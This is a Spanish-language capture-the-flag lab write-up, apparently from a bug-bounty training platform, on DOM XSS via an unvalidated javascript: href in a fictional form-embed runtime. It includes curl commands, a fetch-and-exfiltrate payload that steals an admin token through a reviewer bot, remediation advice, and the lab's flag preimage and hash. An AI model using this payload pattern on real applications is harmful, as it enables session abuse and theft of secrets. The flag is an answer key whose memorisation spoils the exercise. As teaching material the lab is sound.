DOM XSS en un runtime de formularios embebibles (inyección de esquema de URL)
Formwave es un SaaS low-code ficticio que renderiza formularios dinámicos a partir de un schema JSON compartido por URL.
Learn to find this bug
This bug paid $150 on YesWeHack.
Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Access to all labs · no commitment · cancel anytime
Hunters who solved it· 3
Objectives
Achievement you'll earn
Solve this lab to unlock this shareable achievement
DOM XSS en un runtime de formularios embebibles (inyección de esquema de URL)
Community writeups
Formwave es un producto low-code ficticio (Express 4.21 + TypeScript 5.7 + better-sqlite3 + React 18 + Vite + puppeteer-core, puerto 1701) para construir formularios dinámicos. Cada formulario es un documento JSON (schema) con una lista de campos; el producto lo comparte y previsualiza por URL. El estado del reto (usuarios, formularios, tickets de revisión, sink de exfil) cabe en SQLite, por eso es single-service.
Recibes acceso de staging con una cuenta de constructor. Puedes navegar tus formularios y los publicados del workspace, abrirlos en el Constructor, generar enlaces de compartición y enviarlos a revisión. En el Panel verás además una tarjeta con el "Token de seguridad del workspace" que a tu sesión de constructor le sale como restringido (HTTP 403): solo las sesiones de Trust & Safety pueden leerlo. El ámbito del pentesting es la app de Formwave en http://localhost:1701; el objetivo es leer ese token privilegiado sin tener nunca sus credenciales.
La pieza central del producto es el runtime de embed: GET /render?schema=<base64url(json)> es una página independiente que reconstruye un formulario a partir del schema que viaja en la URL — el mismo código que un cliente embebe en su propio sitio. El Constructor genera esos enlaces (botones "Abrir vista previa" y "Copiar enlace"), así que no hay que adivinar ni el endpoint ni el parámetro ni la forma del schema.
Trust & Safety, el equipo interno de revisión, funciona como un bot: cada pocos segundos hace login como admin, saca de la cola los formularios enviados a revisión, los abre en un Chromium headless con la sesión admin y hace clic en cada enlace de acción para verificar que apuntan a un destino legítimo. Ese comportamiento — abrir tu contenido y hacer clic en tus CTA con una sesión privilegiada — es la ventana que hay que aprovechar.
Capa vulnerable — el href de un campo link sin allowlist de esquema
El runtime (server/src/routes/render.ts) recorre schema.fields y renderiza cada campo. Para los campos normales (text, email, textarea, select) crea el elemento y asigna la etiqueta con textContent — datos controlados por el autor, pero inertes en ese contexto (no es un vector). Para un campo link crea un <a> y hace:
a.textContent = f.label || 'Open link';
a.href = f.href || '#';
El href sale directo de schema.fields[].href (dato controlado por quien construye el formulario) y no pasa por ninguna allowlist de esquema. Formwave admite deliberadamente destinos arbitrarios en los CTA (mailto:, tel:, deep links, rutas in-app), así que el runtime asigna el href tal cual en lugar de forzarlo por el reescritor http(s) que sí usa el redirect tracker del dashboard. Consecuencia: un href con esquema javascript: queda como a.href = "javascript:…", y al hacer clic el navegador ejecuta ese código en el origen de Formwave. El único vector es el esquema del href — no hay breakout de atributo ni innerHTML.
La CSP que acompaña al runtime (EMBED_CSP) es legacy y permisiva (script-src 'self' 'unsafe-inline' 'unsafe-eval'), pensada para clientes que inlinean snippets de analítica; no restringe la ejecución de un javascript: URL.
Decoy honesto
GET /go?to=<url> es el redirect tracker del dashboard: valida que el destino sea http:/https: y devuelve 400 para cualquier otro esquema. Es la contraparte "correcta" del sink: sirve para que el atacante compare y concluya que la ausencia de validación en /render es específica del campo link, no del producto entero.
Cadena de explotación paso a paso
Login y recon. Autentícate como
attacker@formwave.test / password123.- En el Panel verás las tiles de formularios (cada una con botón "Vista previa" que apunta a
/render?schema=…) y la tarjeta del "Token de seguridad del workspace" mostrando algo comorestringido — HTTP 403. Eso te dice tres cosas: existe el runtime/render?schema=, hay campos link, y la flag vive enGET /api/vault, legible solo por la sesión admin/revisor. - Compruébalo a mano:
BASE=http://localhost:1701 TOKEN=$(curl -s $BASE/api/auth/login -H 'Content-Type: application/json' \ -d '{"email":"attacker@formwave.test","password":"password123"}' | jq -r .token) curl -s -o /dev/null -w '%{http_code}\n' $BASE/api/vault -H "Authorization: Bearer $TOKEN" # 403
- En el Panel verás las tiles de formularios (cada una con botón "Vista previa" que apunta a
Descubrir el sink. Abre el Constructor (
/builder). Trae por defecto un campo link (CTA) con un campo "URL del enlace (href)". Pon como href:javascript:alert(document.domain)Pulsa "Abrir vista previa" (abre
/render?schema=<b64>) y haz clic en el CTA. Se ejecuta JS en el origen de Formwave → confirmado: el href no valida esquema. La preview te da feedback inmediato (lo ejecutas tú, lo ves tú).- Contrasta con el decoy:
curl -s -o /dev/null -w '%{http_code}\n' "$BASE/go?to=javascript:alert(1)"devuelve 400./govalida esquema;/renderno.
- Contrasta con el decoy:
Weaponizar. Cambia el href del campo link por un payload que lea el flag store y lo exfiltre al sink same-origin
/collect:javascript:fetch('/api/vault').then(r=>r.text()).then(d=>fetch('/collect?data='+encodeURIComponent(d)))El Constructor regenera automáticamente el enlace de compartición (
/render?schema=<b64url>) con ese schema./api/vaultte devuelve 403 a ti, pero devolverá 200 en el contexto del revisor admin.Entregar al revisor. Pulsa "Enviar a revisión (Trust & Safety)" (o pega el enlace en la página Revisión y "Enviar a revisión"). Esto hace
POST /api/review/tickets {link}. En el próximo ciclo (cada ~8 s) el bot:- hace login como admin y saca tu ticket de la cola,
- abre tu
/render?schema=…en un Chromium headless con la cookieformwave_sessionde admin, - hace clic en todos los anchors
#fw-form a(incluido tu CTA) → tujavascript:corre en su contexto →fetch('/api/vault')devuelve 200 → exfiltra la respuesta a/collect, - marca el ticket como
reviewed. - El estado del ticket pasando de
newarevieweden la tabla de Revisión te confirma que el paso ciego avanzó.
Recoger. Abre la página Colector (
/collect/log, con auto-refresh). Cuando el bot dispare, aparecerá la respuesta de/api/vaultcon laFLAG{…}resaltada.- A mano:
curl -s $BASE/collect/log -H "Authorization: Bearer $TOKEN" | jq -r '.entries[].data' | grep -oE 'FLAG\{[a-f0-9]{32}\}'.
- A mano:
La flag vive detrás de la vuln.
GET /api/vaultes 403 al jugador y 200 solo arole=admin— y la única sesión admin del sistema es el bot revisor. La flag no está en el bundle cliente, ni en variables de entorno expuestas al navegador, ni en respuestas anónimas. El único camino es conseguir que eljavascript:corra en el contexto del revisor.
Remediación
- Allowlist de esquema en el sink real: al asignar
a.hrefdesde datos del autor, permitir solo un conjunto explícito de esquemas seguros (http:,https:,mailto:,tel:) y rechazar/normalizar el resto — igual que ya hace el redirect tracker/go. - Neutralizar
javascript:(ydata:,vbscript:): cualquier valor que no matchee un esquema permitido se reemplaza porabout:blanko#. - CSP efectiva en el runtime de embed: retirar
unsafe-inline/unsafe-evaly, sobre todo, no confiar en la CSP como única defensa contrajavascript:URLs (una CSP estricta conscript-src 'self'no bloquea la ejecución de unjavascript:href por sí sola en todos los navegadores; la defensa primaria es la validación del esquema). - Restringir el gadget: mantener la allowlist same-origin del bot (ya la tiene) y limitar qué elementos "clicka" o si debe seguir esquemas no-web.
- Aislar el flag store: seguir sirviendo
/api/vaultsolo arole=adminy no exponer secretos en superficies que el bot pueda alcanzar.
El walkthrough interactivo (con botones "Run" paso a paso) se sirve en http://localhost:1701/writeup; la versión "solo pistas" está en CHALLENGE.md.
Flag
La flag tiene formato FLAG{md5(<preimage>)}.
Preimagen (en flag/verify.sh, fuera del build context del Docker):
formwave::link_field_href::javascript_scheme_injection::review_bot_admin_exfil::2026
Verifica localmente:
echo -n 'formwave::link_field_href::javascript_scheme_injection::review_bot_admin_exfil::2026' | md5sum
# aebe5cf11fc7a914511b136c7d521203 → FLAG{...}
# o
bash flag/verify.sh